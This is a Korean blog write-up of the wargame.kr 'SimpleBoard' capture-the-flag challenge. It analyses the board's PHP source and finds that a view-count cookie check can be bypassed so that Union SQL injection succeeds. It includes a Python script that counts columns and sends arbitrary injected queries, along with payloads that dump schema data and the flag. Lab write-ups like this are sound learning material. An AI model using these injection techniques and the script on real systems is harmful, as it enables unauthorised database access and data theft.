wargame.kr의 18번째 문제인 SimpleBoard다.
간단한 Union SQL Injection 문제라고 한다. 스크립트가 필요할 수도 있다고 하는데 LoS를 풀던 때처럼 파이썬 스크립트를 이용하여 반복문을 통해 추리하는 과정이 필요한 것 같다. Start 버튼을 눌러 문제를 확인해보자.
간단한 테이블로 게시판이 구현되어 있다. 각 게시글을 클릭하면 내용이 나타나며 조회수(HIT)가 올라간다.
URL은 read.php에 idx 파라미터로 읽을 게시글 번호를 넘겨준다. 각 게시글을 클릭했을 때 자바스크립트 코드로 해당 URL을 생성하여 그곳으로 이동한다. 현재 1번부터 4번까지 4개의 글이 있으니 확인 차 5번이나 0번을 넘겨보았으나 아무런 정보도 돌아오지 않았다. 하지만 테이블은 잘 나타나는 걸 보면 약간 다음과 같은 쿼리가 진행되는 게 아닐까?라고 추측해볼 수 있겠다.
select * from board where idx=$_GET['idx']
위의 쿼리처럼 인덱스로 테이블에서 글을 가져온다면 where 조건절에 union 절을 추가해서 추가적인 데이터를 얻어올 수 있을 것이다. 확인을 위해 '5 union select 1', '5 union select 1, 2' 처럼 union sqli를 시도해보았다.
꽤나 많이 시도해보았지만 다음처럼 query error 메시지가 출력되는 것을 볼 수 있었다. 이 이상으로는 더이상 얻을 수 있는 정보가 없기 때문에 이제 소스를 확인해보았다. 다른 문제들처럼 모든 소스를 제공하는 것은 아니고 클래스들의 코드만 나타나 있다.
<?php
if (isset($_GET['view-source'])){
if (array_pop(split("/",$_SERVER['SCRIPT_NAME'])) == "classes.php") {
show_source(__FILE__);
exit();
}
}
Class DB {
private $connector;
function __construct(){
$this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
mysql_select_db("SimpleBoard", $this->connector);
}
public function get_query($query){
$result = $this->real_query($query);
return mysql_fetch_assoc($result);
}
public function gets_query($query){
$rows = [];
$result = $this->real_query($query);
while ($row = mysql_fetch_assoc($result)) {
array_push($rows, $row);
}
return $rows;
}
public function just_query($query){
return $this->real_query($query);
}
private function real_query($query){
if (!$result = mysql_query($query, $this->connector)) {
die("query error");
}
return $result;
}
}
Class Board {
private $db;
private $table;
function __construct($table){
$this->db = new DB();
$this->table = $table;
}
public function read($idx){
$idx = mysql_real_escape_string($idx);
if ($this->read_chk($idx) == false){
$this->inc_hit($idx);
}
return $this->db->get_query("select * from {$this->table} where idx=$idx");
}
private function read_chk($idx){
if(strpos($_COOKIE['view'], "/".$idx) !== false) {
return true;
} else {
return false;
}
}
private function inc_hit($idx){
$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
$view = $_COOKIE['view'] . "/" . $idx;
setcookie("view", $view, time()+3600, "/SimpleBoard/");
}
public function get_list(){
$sql = "select * from {$this->table} order by idx desc limit 0,10";
$list = $this->db->gets_query($sql);
return $list;
}
}
해당 문제에서 사용되는 DB, Board 클래스의 코드가 나타나 있다. 첫번째로 살펴볼 부분은 클래스의 함수들이 어떤 동작을 하는지 분석하는 것이다. 클래스 이름으로 보면 DB 클래스는 데이터베이스에 연결하여 쿼리를 전송하고 결과를 받아오는 듯하며 Board 클래스는 게시글을 읽을 때 내용을 읽어오고 조회수를 늘리는 작업을 수행하는 것 같다. 먼저 DB 클래스의 함수들을 하나하나 살펴보자.
...
function __construct(){
$this->connector = mysql_connect("localhost", "SimpleBoard", "SimpleBoard_pz");
mysql_select_db("SimpleBoard", $this->connector);
}
...
__construct()는 생성자 역할로 사용자 응답으로 웹페이지를 처음 생성할 때 내부 변수인 connector를 mysql_connect() 함수를 이용하여 초기화한다. localhost, SimpleBoard, SimpleBoard_pz는 데이터베이스 서버의 주소, 계정명, 계정 비밀번호이며 SimpleBoard라는 데이터베이스를 선택하여 SimpleBoard 데이터베이스 내부의 테이블에 접근할 수 있다.
...
public function get_query($query){
$result = $this->real_query($query);
return mysql_fetch_assoc($result);
}
...
get_query() 함수에서는 매개변수로 받은 쿼리를 DB 클래스의 real_query() 함수에 전달하여 호출하고 그 결과를 mysql_fetch_assoc() 함수를 이용하여 사전으로 반환한다.
...
public function gets_query($query){
$rows = [];
$result = $this->real_query($query);
while ($row = mysql_fetch_assoc($result)) {
array_push($rows, $row);
}
return $rows;
}
...
gets_query() 함수에서는 쿼리로 수행된 결과가 여러개, 즉 여러 row로 존재할 때 이를 배열에 넣어서 반환받는다. 위의 get_query() 함수가 한 개의 데이터를 반환했다면 이 함수에서는 여러 개를 반환한다.
...
public function just_query($query){
return $this->real_query($query);
}
...
just_query() 함수는 get_query()처럼 real_query()에 쿼리를 넘겨 실행하지만 그 결과를 반환하지 않는다. INSERT, CREATE 등 DML이나 DDL 명령어들을 실행할 때 이를 이용하여 실행할 수 있을 것이다.
...
private function real_query($query){
if (!$result = mysql_query($query, $this->connector)) {
die("query error");
}
return $result;
}
...
real_query() 함수는 직접적으로 mysql_query() 함수를 호출하여 쿼리를 수행하며 그 결과를 result 변수에 저장한다. 그리고 '!' 연산자로 반전시켜서 확인하고 있기 때문에 쿼리가 실패한다면 "query error"라는 문자열과 함께 애플리케이션을 종료시킨다. 그렇다면 아까 위에서 union sqli를 시도했을 때 만났던 문자열이 이 함수에 의해서 호출됐던 걸까? 하지만 문법상으로 문제가 없었기 때문에 아마 다른 곳에서 호출된 것 같다. DB 클래스는 이 정도로 살펴보고 이제 Board 클래스를 분석해보자.
...
function __construct($table){
$this->db = new DB();
$this->table = $table;
}
...
생성자에서는 내부 변수에 DB 클래스의 객체와 매개변수로 전달된 테이블 이름(문자열로 추측된다)을 저장하고 있다.
...
public function read($idx){
$idx = mysql_real_escape_string($idx);
if ($this->read_chk($idx) == false){
$this->inc_hit($idx);
}
return $this->db->get_query("select * from {$this->table} where idx=$idx");
}
...
read() 함수에서는 매개변수로 인덱스 값을 넘겨받는데 이는 기본적인 SQL Injection 필터링을 거치고 read_chk() 함수에 전달된다. 이 함수가 false를 반환하면 inc_hit() 함수에 인덱스 값을 넘겨서 호출하고 DB 클래스의 get_query() 함수에 테이블 이름과 인덱스 값이 들어간 쿼리를 넘겨 실행한다. 위에서 예측한대로 WHERE 절에서 idx 칼럼으로 필터링하고 있었다. 그럼 이 함수에서 호출하는 read_chk(), inc_hit() 함수는 무슨 동작을 할까?
...
private function read_chk($idx){
if(strpos($_COOKIE['view'], "/".$idx) !== false) {
return true;
} else {
return false;
}
}
...
read_chk() 함수는 쿠키값에서 무언가를 비교하여 true나 false를 반환하는 것을 볼 수 있었는데 strpos() 함수는 첫번째 매개변수로 주어진 문자열에서 두 번째 문자열이 발견된 위치를 반환한다. 만약 발견되지 않았다면 false를 반환하여 그 경우 read_chk() 함수도 마찬가지로 false를 반환하게 된다. 발견됐다면 true를 반환하여 역시 read_chk() 함수도 true를 반환한다. $_COOKIE 변수는 사용자의 쿠키값들을 담고 있는 사전으로 이 함수에서는 view 쿠키가 "/3"처럼 슬래시 문자와 인덱스가 조합된 문자열을 포함하고 있는지 확인하고 있다.
...
private function inc_hit($idx){
$this->db->just_query("update {$this->table} set hit = hit+1 where idx=$idx");
$view = $_COOKIE['view'] . "/" . $idx;
setcookie("view", $view, time()+3600, "/SimpleBoard/");
}
...
inc_hit() 함수는 update 명령으로 테이블에서 해당 인덱스를 가진 데이터의 hit 값을 증가시키고 있다. 이후 setcookie() 함수를 이용해 쿠키를 설정하는데 이는 사용자가 게시글을 다시 읽었을 때 조회수가 중복으로 증가하는 것을 방지하기 위해 쿠키값에 해당 게시글을 읽었다는 기록을 남기는 것이다. 그래서 쿠키에 해당 게시글을 읽었다는 흔적이 남아있으면 위의 read_chk() 함수에서 strpos() 함수가 양수를 반환하여 inc_hit() 로직이 스킵된다.
여기서도 인덱스 값이 사용되고 있는데 이 쿼리는 DB 클래스의 just_query() 함수로 전달되어 실행된다. 그런데 우리가 union sqli를 시도했다면 인덱스 값이 어떻게 되었을까? 'update {$this->table} set hit = hit + 1 where idx=5 union select 1,2,3,4' 처럼 쿼리가 생성되었을 것이며 update 명령과 select 명령이 다르기 때문에 쿼리 에러가 발생할 것이다. 그러면 just_query()에서 호출된 real_query() 함수가 쿼리 실패를 감지하고 "query error"란 문자열과 함께 종료시킨다. 즉 이 inc_hit() 함수에서 문제가 발생했기 때문에 아까처럼 어떤 값을 넣어도 "query error" 문자열이 출력된 것이다.
...
public function get_list(){
$sql = "select * from {$this->table} order by idx desc limit 0,10";
$list = $this->db->gets_query($sql);
return $list;
}
...
get_list() 함수는 큰 역할이 없고 테이블에서 데이터를 순서대로 뽑아와서 테이블에 출력시키는 역할이다.
아무튼 분석 결과 어디서 "query error"가 발생하는지 확인할 수 있었다. 하지만 update 문에 union sqli를 삽입하면 쿼리 에러가 발생하는 것은 mysql 자체의 문법이기 때문에 이를 막을 수 없는데 그렇다면 어떻게 "query error"가 출력되지 않도록, 정확히는 die("query error") 함수가 호출되지 않도록 할 수 있을까? 이는 update 문이 실행되지 않도록 하는 것이다.
지금 4개의 게시글을 모두 읽었을 때 현재 웹사이트에 저장된 쿠키를 조회하면 view 쿠키에 다음과 같이 URL 인코딩된 "/4/3/2/1" 값이 저장되어 있는 것을 확인할 수 있다. 이는 read_chk() 함수에서 n번 게시물을 읽을 때 "/n" 문자열이 쿠키값에 포함되어 있는지 확인하는 데 사용된다. 그래서 포함되어 있지 않다면 이 게시물을 처음 읽었다고 판단하여 inc_hit() 함수가 호출되고 update 문이 실행되는 것이다. 그리고 쿠키에 "/n" 문자열을 이어 붙인다.
우리가 union sqli를 시도할 때 인덱스 값은 '5 union select 1,2,3,4'처럼 주어지기 때문에 read_chk()에서는 view 쿠키값에서 '/5%20union%20select%201,2,3,4' 같은 문자열을 찾으려 할 것이다. 당연히 이런 인덱스는 존재하지 않기 때문에 이 게시물을 처음 읽었다고 판단하여 inc_hit() 함수가 호출되지만 이제 update 명령에서 인덱스가 쿼리에 합쳐지면서 'update {$this->table} set hit = hit + 1 where idx=5 union select 1,2,3,4' 같은 괴상한 쿼리가 탄생하는 것이다. 그렇다면 inc_hit() 함수가 호출되지 않도록 쿠키값에 '/5%20union%20select%201,2,3,4'같은 문자열을 포함해서 요청을 전송하면 되지 않을까? 쿠키값을 수정하고 시도해보았다.
이전과는 달리 "query error"가 발생하지 않고 잘 수행되어 1, 2, 3, 4 값이 각 필드에 삽입되는 것을 볼 수 있었다. 그렇다면 information_schema 등을 활용하여 데이터를 추출할 수 있을 텐데 그때마다 이렇게 일일이 쿠키값을 수정해줘야 할까? 이때는 파이썬 스크립트를 사용하면 한결 편하게 시도할 수 있다.
import requests
URL = 'http://wargame.kr:8080/SimpleBoard/read.php'
cookies = {'ci_session': 'INSERT_YOUR_COOKIE_HERE'}
query = '5 union select '
for estimated_length in range(1,25):
if estimated_length > 1:
query = query + ","
query = query + str(estimated_length) + ","
query = query[:-1]
params={'idx': query}
cookies['view'] = '/'+query
print(query)
res=requests.get(URL, params=params, cookies=cookies)
if res.text != "query error":
print("It has {} columns.".format(estimated_length))
break
while True:
query = input("Type query: ")
params['idx'] = query
cookies['view'] = '/' + query
res = requests.get(URL, params=params, cookies=cookies)
print(res.text)
위 스크립트는 '5 union select'부터 시작하며 칼럼을 하나씩 늘려가면서 union sqli가 성공할 때까지 진행한다. 결과는 '5 union select 1,2,3,4'로 4개의 컬럼을 갖고 있는 것을 알 수 있으며 이후부터는 사용자가 직접 쿼리를 입력하면 해당 쿼리를 자동으로 쿠키에 포함하여 전송한다. 일종의 쉘을 흉내 낸 것인데 이후에도 '5 union' 구문은 사용자가 직접 포함해줘야 하므로 편의를 위해 자동으로 포함하도록 수정해볼 수도 있다.
어쨌든 이를 이용하여 쿼리를 수행해보면 information_schema.columns에서 다음과 같은 정보를 얻을 수 있었다.
'5 union select table_name,column_name,3,4 from information_schema.columns' 쿼리를 수행하니 README라는 테이블 이름과 flag라는 칼럼 이름이 출력되었다. 원래 수많은 테이블과 컬럼 이름이 출력돼야 하지만 맨 마지막 줄의 데이터만 가져와서 게시판에 출력하고 있는 것 같은데 이를 이용해서 다시 아래처럼 쿼리를 수행하면 플래그 값을 얻을 수 있었다.
'5 union select 1,2,3,flag from README' 쿼리를 수행하니 글 내용이 나타날 위치에 플래그 값이 출력된 것을 볼 수 있었다. 이를 복사해서 입력하면 문제를 풀 수 있다.
이번 문제는 모든 함수들을 샅샅이 분석해보지 않아서 분명히 쿼리상에는 문제가 없는데 왜 "query error"라는 메시지가 발생했는지 이해하지 못했다. read_chk(), inc_hit() 등 조회수 관련 로직은 중요하지 않다고 생각하고 대충 분석하고 넘어갔는데 알고 보니 그곳이 문제 해결의 열쇠가 되는 곳이었다. 다음부터는 처음 분석할 때 좀 꼼꼼히 하고 넘어가야겠다.
'챌린지 > Wargame.kr' 카테고리의 다른 글
bughela - pyc decompile (0) | 2021.01.06 |
---|---|
bughela - web chatting (0) | 2021.01.04 |
bughela - EASY_CrackMe (0) | 2020.12.31 |
bughela - php? c? (0) | 2020.12.29 |
bughela - img recovery (0) | 2020.12.28 |